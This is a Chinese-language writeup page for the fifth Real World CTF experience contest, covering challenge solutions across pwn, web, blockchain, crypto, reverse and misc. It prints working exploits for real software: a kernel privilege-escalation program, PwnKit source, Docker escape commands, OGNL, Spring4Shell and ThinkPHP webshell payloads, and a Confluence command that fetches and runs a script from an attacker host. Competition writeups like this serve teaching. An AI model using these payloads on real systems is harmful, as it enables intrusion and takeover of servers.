长亭百川云 - 文章详情

第五届 Real World CTF 体验赛 Writeup

胖哈勃

79

2024-07-14

别忘了

  星标我!

1月7日-8日,24小时 

第五届 Real World CTF 体验赛落下帷幕

来自企业、高校和长亭合作伙伴的239支战队

1000+人集结体验赛

192次签到题解出,

15次一血,

有效flag提交851次

最终,由来自北京邮电大学的天枢Dubhe战队以2268的总分、解出14题获得第一名,而去年的冠军团队,来自众多高校联合(南京大学,南京邮电、东南大学、中国矿业大学等)的SU战队以2187的总分获得第二名,由来自西安电子科技大学的L-team战队以总分2166名列第三名。

以下为本次体验赛所有题目的Writeup。

Pwn

Digging into Kernel 3

题目在5.19.0版本的Linux Kernel上运行了一个有漏洞的驱动,驱动代码比较简单,包括uaf,race condition,memory leak等多个漏洞。通过漏洞驱动获取root权限有很多种方法,这里贴出作者old-school的exploit代码(并非最简单的方法,甚至相对复杂,使用USMA/DirtyCred等手段可以写出更简洁更稳定的exploit)

`#define _GNU_SOURCE``#include <sched.h>``#include <stdio.h>``#include <stdlib.h>``#include <string.h>``#include <unistd.h>``#include <ctype.h>``#include <err.h>``#include <sys/types.h>``#include <sys/stat.h>``#include <fcntl.h>``#include <sys/timerfd.h>``#include <sys/ioctl.h>``#include <sys/syscall.h>``#include <linux/keyctl.h>``   ``// user_key_payload``#define size_user_key_payload (24)``// (gdb) ptype /o struct user_key_payload``// /* offset    |  size */  type = struct user_key_payload {``// /*    0      |    16 */    struct callback_head {``// /*    0      |     8 */        struct callback_head *next;``// /*    8      |     8 */        void (*func)(struct callback_head *);``//` `//                                /* total size (bytes):   16 */``//                            } rcu;``// /*   16      |     2 */    unsigned short datalen;``// /* XXX  6-byte hole  */``// /*   24      |     0 */    char data[];``//` `//                            /* total size (bytes):   24 */``//                          }``   ``int key_alloc(char *description, char *payload, int payload_len) {`    `return syscall(`        `__NR_add_key,`        `"user",`        `description,`        `payload,`        `payload_len,`        `KEY_SPEC_PROCESS_KEYRING`    `);``}``   ``void key_spray(int *keys, int spray_count, char *payload, int payload_len, char *description, int description_len) {`    `char *tmp_desc = (char *)malloc(description_len + 100);`    `memset(tmp_desc, 0, description_len + 100);`    `memcpy(tmp_desc, description, description_len);`    `for(int i = 0; i < spray_count; i++) {`        `snprintf(tmp_desc + description_len, 100, "_%d", i);`        `keys[i] = key_alloc(tmp_desc, payload, payload_len);`        `if(keys[i] == -1) {`            `perror("add_key");`            `printf("failed index: %d\n", i);`            `// break;`            `exit(-1);`        `}`    `}`    `free(tmp_desc);``}``   ``int key_revoke(int key_id) {`    `return syscall(`        `__NR_keyctl,`        `KEYCTL_REVOKE,`        `key_id,`        `0,`        `0,`        `0`    `);``}``   ``int key_free(int key_id) {`    `return syscall(`        `__NR_keyctl,`        `KEYCTL_UNLINK,`        `key_id,`        `KEY_SPEC_PROCESS_KEYRING`    `);``}``   ``   ``int key_read(int key_id, char *retbuf, int retbuf_len) {`    `return syscall(`        `__NR_keyctl,`        `KEYCTL_READ,`        `key_id,`        `retbuf,`        `retbuf_len`    `);``}``// user_key_payload``   ``   ``   ``   ``// utils``void breakpoint() {`    `printf("press enter to continue...\n");`    `getchar();``}``   ``#ifndef HEXDUMP_COLS``#define HEXDUMP_COLS 16``#endif``   ``void hexdump(void *mem, unsigned int len) {`    `putchar('\n');`    `for(int i = 0; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0); i++) {`        `/* print offset */`        `if(i % HEXDUMP_COLS == 0) {`            `printf("0x%06x: ", i);`        `}``   `        `/* print hex data */`        `if(i < len) {`            `printf("%02x ", 0xFF & ((char*)mem)[i]);`        `}`        `/* end of block, just aligning for ASCII dump */`        `else {``            printf("   ");`        `}``   `        `/* print ASCII dump */`        `if(i % HEXDUMP_COLS == (HEXDUMP_COLS - 1)) {`            `for(int j = i - (HEXDUMP_COLS - 1); j <= i; j++) {`                 `/* end of block, not really printing */`                `if(j >= len) {`                    `putchar(' ');`                `}`                `/* printable char */`                `else if(isprint(((char*)mem)[j])) {`                    `putchar(0xFF & ((char*)mem)[j]);`                `}`                 `/* other char */`                `else {`                    `putchar('.');`                `}`            `}`            `putchar('\n');`        `}`    `}`    `putchar('\n');``}``// utils``   ``// here we start``struct add_param {`    `int idx;`    `int size;`    `char *cont;``};``   ``int g_fd;``int seq_fd;``unsigned long long g_vmlinux = 0;``unsigned long long g_modprobe_path = 0;``unsigned long long g_do_task_dead = 0;``unsigned long long g_heap = 0;``   ``unsigned long long pop_rax_ret = 0;``unsigned long long pop_rcx_ret = 0;``unsigned long long pop_rdi_ret = 0;``unsigned long long mov_ptr_rax_rdi_ret = 0;``unsigned long long ret = 0;``   ``   ``void setup() {`    `g_fd = open("/dev/rwctf", O_RDWR);`    `printf("g_fd = %d\n", g_fd);``   `    `system("echo '#!/bin/sh\nchmod 777 /flag' > /tmp/x");`    `system("chmod +x /tmp/x");``   `    `system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");`    `system("chmod +x /tmp/dummy");``   `    `if(fork()) {`        `sleep(3);`        `system("/tmp/dummy 2>/dev/null");`        `system("ls -l /flag");`        `system("cat /flag");`        `exit(1);`    `}``}``   ``void add(int idx, int size, char* cont) {`    `struct add_param arg = {`        `.idx = idx,`        `.size = size,`        `.cont = cont,`    `};``   `    `ioctl(g_fd, 0xdeadbeef, &arg); // no error check``}``   ``void delete(int idx) {`    `ioctl(g_fd, 0xc0decafe, &idx); // no error check``}``   ``void leak() {`    `int OBJ_SIZE = 0x100;`    `char *cont = malloc(OBJ_SIZE);``    memset(cont, 'x', OBJ_SIZE);``   `    `add(0, OBJ_SIZE, cont);`    `delete(0); // first free``   `    `int SPRAY_USER_KEY_SIZE = OBJ_SIZE - size_user_key_payload;`    `int SPARY_USER_KEY_CNT = 50;`    `int *keys = malloc(SPARY_USER_KEY_CNT * sizeof(int));`    `char *user_key_payload = malloc(SPRAY_USER_KEY_SIZE);`    `memset(user_key_payload, 'y', SPRAY_USER_KEY_SIZE);`    `key_spray(keys, SPARY_USER_KEY_CNT, user_key_payload, SPRAY_USER_KEY_SIZE, "spray_key", strlen("spray_key"));``   `    `delete(0); // double free``   `    `*(unsigned long long *)&cont[0x0] = 0;`    `*(unsigned long long *)&cont[0x8] = 0;`    `*(unsigned long long *)&cont[0x10] = 0x2000; // user_key size`    `for(int i = 0; i < 100; i++) {`        `add(1, OBJ_SIZE, cont);`    `}``   `    `char *recv_payload = malloc(0x2000);`    `int anchor = 0;`    `for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {`        `memset(recv_payload, 0, 0x2000);`        `int retval = key_read(keys[i], recv_payload, 0x2000);`        `// printf("retval = %d\n", retval);`        `if(retval > SPRAY_USER_KEY_SIZE) {`            `printf("find anchor %d\n", anchor);`            `printf("we leaked something...\n");`            `anchor = i;`            `break;`        `}`    `}``   `    `if(anchor == 0) {`        `err(-1, "bad luck, try again!\n");`    `}``   `    `for(int i = 0; i < SPARY_USER_KEY_CNT; i++) {`        `if(i != anchor) {`            `key_revoke(keys[i]);`        `}`    `}``   `    `memset(recv_payload, 0, 0x2000);`    `int retval = key_read(keys[anchor], recv_payload, 0x2000);`    `// printf("retval = %d\n", retval);`    `if(retval > SPRAY_USER_KEY_SIZE) {`        `// hexdump(recv_payload, 0x200);`        `unsigned long long heap = *(unsigned long long *)&recv_payload[0xe8];`        `unsigned long long _user_free_payload_rcu = *(unsigned long long *)&recv_payload[0xf0];`        `unsigned long long needle = *(unsigned long long *)&recv_payload[0x100];`        `if(needle == 0x7979797979797979 && heap && _user_free_payload_rcu) {`            `printf("leaked heap @ 0x%llx\n", heap);`            `printf("leaked user_free_payload_rcu @ 0x%llx\n", _user_free_payload_rcu);`            `g_vmlinux = _user_free_payload_rcu - 0x339d8210;`            `printf("vmlinux @ 0x%llx\n", g_vmlinux);`            `g_modprobe_path = g_vmlinux + 0x34e510a0;`            `// printf("modprobe_path @ 0x%llx\n", g_modprobe_path);`            `g_do_task_dead = g_vmlinux + 0x336a3190;`            `pop_rax_ret = g_vmlinux + 0x33600ddb; // pop rax; ret`            `pop_rcx_ret = g_vmlinux + 0x33662de3; // pop rcx; ret`            `pop_rdi_ret = g_vmlinux + 0x3366ab4d; // pop rdi; ret`            `mov_ptr_rax_rdi_ret = g_vmlinux + 0x337b614a; // mov qword ptr [rax], rdi; ret`            `ret = g_vmlinux + 0x33600341; // ret`        `}`    `}``   `    `sleep(1); // free user_key`    `for(int i = 0; i < 100; i++) {`        `close(keys[i]);`    `}``   `    `// // place gadgets`    `// memset(cont, '!', OBJ_SIZE);`    `// for(int i = 0; i < 100; i++) {`    `//     add(1, OBJ_SIZE, cont);`    `// }``}``   ``void hijack() {`    `int OBJ_SIZE = 0x20; //`    `char *cont = malloc(OBJ_SIZE);``    memset(cont, 'z', OBJ_SIZE);``   `    `add(0, OBJ_SIZE, cont);`    `delete(0); // first free``   `    `seq_fd = open("/proc/self/stat", O_RDONLY);`    `delete(0); // second free``   ``   `    `unsigned char fake_seq_operations[OBJ_SIZE];`    `memset(fake_seq_operations, '0', OBJ_SIZE);`    `// *(unsigned long long *)&fake_seq_operations[0x00] = 0x1111111111111111;``    *(unsigned long long *)&fake_seq_operations[0x00] = g_vmlinux + 0x3388f732; // ret 0x160`    `*(unsigned long long *)&fake_seq_operations[0x08] = ret;``     *(unsigned long long *)&fake_seq_operations[0x10] = ret;              ``    *(unsigned long long *)&fake_seq_operations[0x18] = pop_rax_ret;``   `    `for(int i = 0; i < 1; i++) {`        `add(1, OBJ_SIZE, fake_seq_operations);`    `}``   `    `__asm__(`        `"mov r15, pop_rax_ret;"`        `"mov r14, g_modprobe_path;"`        `"mov r13, pop_rdi_ret;"`        `"mov r12, 0x0000782f706d742f;" // /tmp/x\x00`        `"mov rbp, mov_ptr_rax_rdi_ret;"`        `"mov rbx, g_do_task_dead;"`        `"mov r11, 0x77777777;"`        `"mov r10, 0x88888888;"`        `"mov r9,  0x99999999;"`        `"mov r8,  0xaaaaaaaa;"`        `"mov rcx, 0x666666;"`        `"mov rdx, 8;"`        `"mov rsi, rsp;"`        `"mov rdi, seq_fd;"`        `"xor rax, rax;"`        `"syscall"`    `);`    `// read(seq_fd, fake_seq_operations, 1);``   ``   ``}``   ``int main() {`    `setup();`    `leak();``   `    `// breakpoint();`    `hijack();``   `    `// breakpoint();``   `    `return 0;``}`

Be-a-PK-LPE-Master

连接端口后,题目提示默认用户名为 user, 空口令登陆。 

发现需要提权才能获取 flag ,从题目名称中可以猜测出我们需要利用 pkexec 的漏洞进行提权, 故尝试使用 CVE-2021-4034 进行提权。

exploit 参考:

`#include <stdio.h>``#include <stdlib.h>``#include <unistd.h>``   ``char *shell = ``  "#include <stdio.h>\n"`  `"#include <stdlib.h>\n"`  `"#include <unistd.h>\n\n"`  `"void gconv() {}\n"`  `"void gconv_init() {\n"`  `"  setuid(0); setgid(0);\n"`  `"  seteuid(0); setegid(0);\n"`  `"  system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; rm -rf 'GCONV_PATH=.' 'pwnkit'; /bin/sh\");\n"`  `"  exit(0);\n"`  `"}";``   ``int main(int argc, char *argv[]) {`  `FILE *fp;`  `system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");`  `system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules");`  `fp = fopen("pwnkit/pwnkit.c", "w");`  `fprintf(fp, "%s", shell);`  `fclose(fp);`  `system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");`  `char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL };`  `execve("/usr/bin/pkexec", (char*[]){NULL}, env);``}`

这里还有一个小故事, 新版的 Kernel 会处理 execve 的 argv[0] 是 NULL 的情况,因此 pkexec 这个漏洞在较新版本 Kernel 是不能用的 。 具体情况可以参考:

Handling argc==0 in the kernel [LWN.net] (https://lwn.net/Articles/882799/)

Be-a-Docker-Escaper-2

通过 ssh 获取题目 shell 后,可以发现是在容器环境中。仔细看根目录可以看到容器环境将 HOST 的 /proc/sys/fs/binfmt_misc/ 目录映射到了容器的 /binfmt_misc。

通过了解资料知道 Linux 内核有一个名为Miscellaneous Binary Forma(binfmt_misc)的机制,可以通过要打开文件的特性来选择到底使用哪个程序来打开。这种机制可以通过文件的扩展名或文件开始位置的特殊的字节(Magic Byte)来判断应该如何打开文件

其 binfmt 的格式如下:



`name:type:offset:magic:mask:interpreter:flags`


这个配置中每个字段都用冒号 : 分割,某些字段拥有默认值可以跳过,但是必须保留相应的冒号分割符。

各个字段的意义如下:

  • name:规则名

  • type:表示如何匹配被打开的文件,值为 E 或 M 。E 表示根据扩展名识别,而 M 表示根据文件特定位置的 Magic Bytes来识别

  • offset:type字段设置成 M 之后有效,表示查找 Magic Bytes的偏移,默认为0

  • magic:表示要匹配的 Magic Bytes,type 字段为 M 时,表示文件的扩展名,扩展名是大小写敏感的,不需要包含 .。type字段为 E 时,表示 Magic Bytes,其中不可见字符可以通过 \xff 的方式来输出

  • mask:type字段设置成 M 之后有效,长度与 Magic Bytes 的长度一致。如果某一位为1,表 magic 对应的位匹配,为0则忽略。默认为全部匹配

  • interpreter:启动文件的程序,需要是绝对路径

  • flags: 可选字段,控制 interpreter 打开文件的行为,共支持 POCF 四种flag

因此我们可以注册一个自己的 binfmt, 然后让其 HOST 执行相应的文件,就可以完成逃逸。关键是如何在 HOST 执行相应的文件。观察出题人给的条件,  出题人给了 ssh 登陆的途径。

我们通过 strace sshd 进程 ,会发现 sshd 服务当有 ssh 尝试连接的时候会执行一些 bash 脚本,例如 etc/update-motd.d/00-header

至此打通了逃逸的路径

完整利用过程:

1、首先注册一个自己的 binfmt

echo ":test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/$overlay/diff/tmp/exploit:" > /binfmt_misc/register

例如上一条语句,即为注册一个名 test, magic 为 #!/bin/sh , interpreter位于 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 的 binfmt ,其中 $overlay2 我们可以在 docker 中使用  mount 命令来获取

2、往 /var/lib/docker/overlay2/$overlay/diff/tmp/exploit 写入我们要执行的命令

`echo '#!/bin/bash' > /tmp/exploit``echo "docker cp /root/flag $container:/tmp/" >> /tmp/exploit``chmod 777 /tmp/exploit`

3、最后再使用 ssh 登陆一次即可获取 flag

Be-a-Docker-Escaper-3

首先查看内核版本 ,可以发现是一个比较旧的内核版本

再结合题目描述和名字,可以知道这题应该需要使用 CVE-2016-5195 也就是著名的DirtyCOW 漏洞来进行容器逃逸。

想要使用 DirtyCOW 进行容器逃逸,需要使用 DirtyCOW-vDSO 的利用方式,也就是通过 DirtyCOW 覆盖 vDSO 数据来实现对容器的逃逸。但是现有最著名的 vDSO 逃逸利用https://github.com/scumjr/dirtycow-vdso存在以下两个问题:

  1. 该利用使用 ptrace 方式来实现对 vDSO 内存的修改触发 COW,但是新版本 docker 默认禁止 ptrace。

  2. 该利用对 vDSO 的 patch 选择的位置在 ubuntu 的内核里触发不了,需要换一个 patch 点。

本着不能只有自己被坑的原则,出了这题。

需要将原来的ptrace利用方式换回 /proc/self/mem 利用并且更换触发点。或者不想改也可以重写一遍DirtyCOW利用即可。利用参考

https://github.com/zh-explorer/dirtycow.git。

利用流程如下:

`pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pyelftools``git clone https://github.com/zh-explorer/dirtycow.git``cd  dirtycow``mkdir build``cd build``cmake ..``make``./dirtycow {IP} 31337`

Be-a-BUS-Driver

题目中运行了一个 D-Bus 服务, 通过 busctl --system --list 命令可以列出当前注册的 system D-Bus 服务, 其中有一个叫 ezbus 的尤其可疑。

通过 busctl introspect org.dbus.rwctf /org/dbus/rwctf 命令可以列出其实现的方法名, 例如可以看到其实现了一个名为 SayBoss 的方法,接受字符串参数。

打开 IDA 进行逆向, 找到 SayBoss 方法

发现 count 变量计算了调用该函数的次数,如果大于 0xA ,即可执行命令。

因此我们只需调用往 /tmp/exp.sh 写入我们要执行的命令, 然后使用下面这句命令调用超过 10 次即可。

busctl --system call org.dbus.rwctf /org/dbus/rwctf org.dbus.rwctf1 SayBoss s "/tmp/exp.sh"

Web

Be-a-Wiki-Hacker

根据页面上显示的版本 7.13.6,搜索 Confluence 历史漏洞,可以发现 CVE-2022-26134 这个表达式注入漏洞是可以利用的,执行 id 命令的利用验证poc:

`GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ HTTP/1.1``Host: example.com:8080``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36``Connection: close`

url 路径部分就是 ognl 表达式 url 编码后的内容,所以执行的表达式其实就是:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

如果要拿服务器 shell 权限,可以反弹 shell,这里注意 Java 里 Runtime 直接传递字符串执行 exec 的话,命令里不支持 shell 语法特性(比如管道符、重定向等),以及这里由于 tomcat 处理 url 的安全特性,url 里不能出现编码后的斜线,所以可以执行最简单的,wget 从远程拉一个脚本下来然后执行,分三次执行:

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("wget script.attacker.com").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("chmod +x index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("bash index.html").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Evil MySQL Server

这题考查的是 mysql 连接到恶意服务器时,恶意服务端可以读取 mysql 客户端本地文件的特性利用。如果不了解这个安全问题的选手,也可以根据题目提示“Evil MySQL Server”进行 Google 查询,能找到相关的安全资料。本题在体验赛赛题讲解视频里也有更为详细的讲解,这里简单说下怎么做。

可以直接借助工具 MySQL Fake Server:https://github.com/fnmsd/MySQL\_Fake\_Server

用它在你自己的公网 vps 服务器上启动一个恶意的 mysql server,比如地址是 1.1.1.1,端口3306,然后打开题目,在表单里填上对应的服务器地址,用户名处填 fileread_/flag,提交。mysql fake server 就会收到请求,并读到 /flag 文件内容。

ApacheCommandText

由于 apache common text 在默认配置下会对数据进行递归解析。这道题对一些常见利用的字符串进行了过滤,但没有过滤base64decoder,因此我们可以使用base64decoder以及递归特性进行漏洞利用。

POC

${base64decoder:JHtzY3JpcHQ6SmF2YVNjcmlwdDp2YXIgYT1qYXZhLmxhbmcuUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYygiL3JlYWRmbGFnIik7dmFyIGI9YS5nZXRJbnB1dFN0cmVhbSgpO3ZhciBjPW5ldyBqYXZhLmlvLkJ1ZmZlcmVkUmVhZGVyKG5ldyBqYXZhLmlvLklucHV0U3RyZWFtUmVhZGVyKGIpKTtjLnJlYWRMaW5lKCk7fQ==}

Be-a-Langurage-Expert

这题考察的是 Thinkphp 多语言功能导致的任意文件包含,这个漏洞的影响范围如下

* ThinkPHP v6.0.1 <= v6.0. x <= v6.0.13

* ThinkPHP v5.1.x

* ThinkPHP v5.0.x

具体的漏洞分析可以参考:

http://tttang.com/archive/1865/

所以进入题目便可以看到,当前的 ThinkPHP 版本为 6.0.12 正好位于漏洞版本范围内,所以我们便可以进行任意文件包含。结合题目描述里面给出的信息,整个 ThinkPHP 是使用Docker进行部署的,所以我们可以使用: https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html 这个技巧, 利用 PearCMD 来最终实现RCE。

首先我们发送第一个包,用来创建一个 Webshell 在 /tmp/1.php:

`GET /?+config-create+/&lang=../../../../../../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST[a]);?>+/tmp/1.php HTTP/1.1``Host: localhost:8888``Accept-Encoding: gzip, deflate``Accept: */*``Accept-Language: en-US;q=0.9,en;q=0.8``User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36``Connection: close``Cache-Control: max-age=0``   `

此时在 /tmp/1.php 中的内容就是 。我们之后只需要使用Webshell 管理工具连接如下地址即可。

http://your-ip:8888/?&lang=../../../../../../../../../../../tmp/1

最后执行 /readflag 获取 Flag

Yummy Api

这题考察的是 Yapi 通过页面信息我们可以得到当前 Yapi 的版本为 v1.10.2。在这个版本中我们可以进行如下操作最终实现 RCE,获取 Flag。

  1. 使用 Mongodb 注入拿到用户项目的 Token ,这一步需要爆破。

  2. 在默认情况下利用这个使用 aes192 加密 token,这样我们可以调用项目的任意功能,。

  3. 然后通过调用项目的 pre-script 功能,上传 vm2 的逃逸脚本实现 RCE。

具体的漏洞分析文章可以参考: 

https://www.anquanke.com/post/id/283779 

当然也可以找到一键利用的脚本:

https://raw.githubusercontent.com/vulhub/vulhub/e186e1817786817b484f4f196510478c57ac7ee3/yapi/mongodb-inj/poc.py

使用这个脚本我们只需要执行,即可拿到 Flag

py -3 .\poc.py --debug one4all -u http://ip:9090/ -c "/readflag"

Spring4Shell

该题主要结合 git 泄漏与2022年 top2 漏洞—— Spring4shell 相关背景。

解题思路一:

可以发现 .git 泄漏配置文件,导致 web 路径泄漏。

可使用工具:

https://github.com/gakki429/Git\_Extract.git

$ python git_extract.py http://47.98.216.107:31584/.git/

查看 web 路径:

`$ cat 47.98.216.107_31584/server.xml|grep appBase``<Host name="XXXX"  appBase="chaitin"`

Spring4shell EXP:

可使用:https://github.com/reznok/Spring4Shell-POC.需要手动指定 web 路径

python exploit.py --url http://47.98.216.107:31584/ --dir chaitin/ROOT

解题思路二:

修改 appBase,不需要获取 web 路径,此 payload 不常见,github 上检索不到。

payload:class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=/tmp&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module.classLoader.resources.context.parent.appBase=/

webshell 写入路径:/tmp/shell.jsp

访问 webshell:

http://47.98.216.107:31584/tmp/shell.jsp?cmd=id

读取 flag

Misc

Long Range

通过题目描述 Long Range与频段 500.5Mhz (属于 LoRa 在中国常用的CN470-510频段) 结合猜测信号中是一段 LoRa 信号。 使用 SDRSharp 或其他工具加载 wav 文件,可以发现信号也比较符合 LoRa 的特征,进一步印证猜测并分析出所使用的带宽为125kHz。

使用 GNU Radio 的 OOT 模块 gr-lora,调整 SF 扩频因子, 在8时可以解出 flag。

Be-a-Famicom-Hacker

使用模拟器打开游戏,可以发现界面的 komani 1988被修改为了 RWCTF 2023,知晓 ROM 被修改。

最硬核的解题方式是通过 ROM 大小知道是日版的魂斗罗,然后下载原版 ROM diff 修改内容,然后逆向 ROM 代码,但游戏类题目一般只要探索过所有场景即可获得 flag。

通过搜索可以知道,魂斗罗存在一个隐藏彩蛋:在过关的结尾动画(包括滚动名单)期间,全程按住 Select+Start 键,即可见到一段隐藏的彩蛋,flag 就放在隐藏彩蛋中。

关于快速通关,

选关:按下 START 后,在游戏画面变黑之前,同时按下 ←+↑+A+START,就可以进入选关菜单。

作弊:

1.自带的经典作弊码,在标题画面BGM出现后按 上上下下左右左右BA 就会有30条命。

2.模拟器打开 CPU view,进入关卡,其中 0x32 位置为 1P 的生命数,0xB0 位置为1P无敌状态的剩余时间,可以修改/冻结这两个位置达到无限命+无敌的状态迅猛通关。

BlockChain

HappyFactory

本题考点为 Defi 项目的核心逻辑中,闪电贷功能易出现的重入漏洞。

解题思路1:

在调用 swap 合约闪电贷之前,调用 Token 的 Burn 接口。Burn 接口无 onlyOwner 限制,可直接调用。

Burn 掉 Pair 的部分 balance,然后调用 sync 函数调平。调平后的pair可swap出巨量Token。

解题思路2:

在调用 swap 合约的闪电贷功能时,重入未加 lock 限制的 sync 函数。在计算 K 值前,将 reserve 设为对自己有利的状态。

解题 Exploit 如下:

`pragma solidity ^0.8.0;``import "./Happy.sol";``   ``contract Exploit {`    `event tokenA_tokenB(address, address);`    `IHappyFactory factory =`        `IHappyFactory(address(0xA2A21Fe2fD692b63Df06ECd5b0a783323B4eae36));`    `IHappyPair public pair;`    `IHappyERC20 public tokenA;`    `IHappyERC20 public tokenB;`    `address public gamer;``   `    `constructor(address tokenA_address, address tokenB_address) {`        `gamer = msg.sender;`        `tokenA = IHappyERC20(tokenA_address);`        `tokenB = IHappyERC20(tokenB_address);`        `pair = IHappyPair(factory.getPair(tokenA_address, tokenB_address));`    `}``   `    `function attack(uint256 amount0, uint256 amount1) public {`        `pair.swap(amount0, amount1, address(this), "0x");`        `tokenB.transfer(gamer, 1 ether);`    `}``   `    `fallback() external {`        `pair.sync();`        `tokenA.transferFrom(gamer, address(pair), 1 ether);`    `}``}``   `

Crypto

babyCurve

题目的主要考察椭圆曲线同构。参考链接:

https://crypto.stackexchange.com/questions/61302/how-to-solve-this-ecdlp

根据题目我们可以知道椭圆曲线为y² = x*(x+1)²

然后我们发现椭圆曲线的判别式为 0 根据参考链接给出的方法 我们采用换元法修改成和上述链接一样的形式。

这时候就可以利用同构求出密钥x,然后一切问题都迎刃而解

下面提供下 exp

`from Crypto.Util.number import *``from Crypto.Cipher import AES``p = 193387944202565886198256260591909756041``P.<x> = GF(p)[]``f = x^3 + 2*x^2 + x``P = (4, 10)``Q = (65639504587209705872811542111125696405,125330437930804525313353306745824609665)``f_ = f.subs(x=x-1)``print f_.factor()``   ``P_ = (P[0] +1, P[1])``Q_ = (Q[0] +1, Q[1])``   ``t = GF(p)(p-1).square_root()``u = (P_[1] + t*P_[0])/(P_[1] - t*P_[0]) % p``v = (Q_[1] + t*Q_[0])/(Q_[1] - t*Q_[0]) % p``print(v.log(u))``k = v.log(u)``aes = AES.new(long_to_bytes(k).ljust(16, '\0'), AES.MODE_CBC, '\0'*16)``flag = "b3669dc657cef9dc17db4de5287cd1a1e8a48184ed9746f4c52d3b9f8186ec046d6fb1b8ed1b45111c35b546204b68e0".decode("hex")``print(len(flag))``plaintext = aes.decrypt(flag)``print(plaintext)`

Reverse

SNAKE

安装 apk 运行发现是个贪吃蛇游戏,随着控制蛇吃到的食物越多,蛇的速度越快。所以如果你足够强可以坚持到最后,把 flag 吃出来。

分析 apk,由于贪吃蛇和食物本身所用资源都是图片,于是在 drawable 目录中可找到这些图片文件,并且可以发现除普通食物图片外,还有 b0,b1 这些字母图片,容易猜测到这些便是 flag 的组成部分。

在 onDraw 方法中注意到如下部分

a和b方法分别控制屏幕绘制食物或是 flag,由 this.c 控制

注意到拼装b图片时用到了 this.f 数组,交叉引用后定位到

比较容易猜到是 brainfuck,但是有点小改动,不能直接在线解密,仔细分析的话可以发现是[]<>互换了一下,图方便可以 hook 拿到返回值

`function hook(){`    `Java.perform(function(){`       `var SecurityParams = Java.use("b.a.a.a");`       `SecurityParams.a.implementation = function(str){`                `var ret = this.a(str);`                `console.log(ret);`                `return ret;`            `}`    `});`    `}``function main() {`        `hook()``}``   ``setImmediate(main)`

数组中的元素即对应 drawable 目录中 flag 文件名,按顺序找出对应图片即可得到 flag,需要注意的是 this.v 在i函数中会先自增一次,所以 flag 从第1个元素开始取

Check-In

🐑了拼🐑

直接拼图就可以获取 flag

点分享

点收藏

点点赞

点在看

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2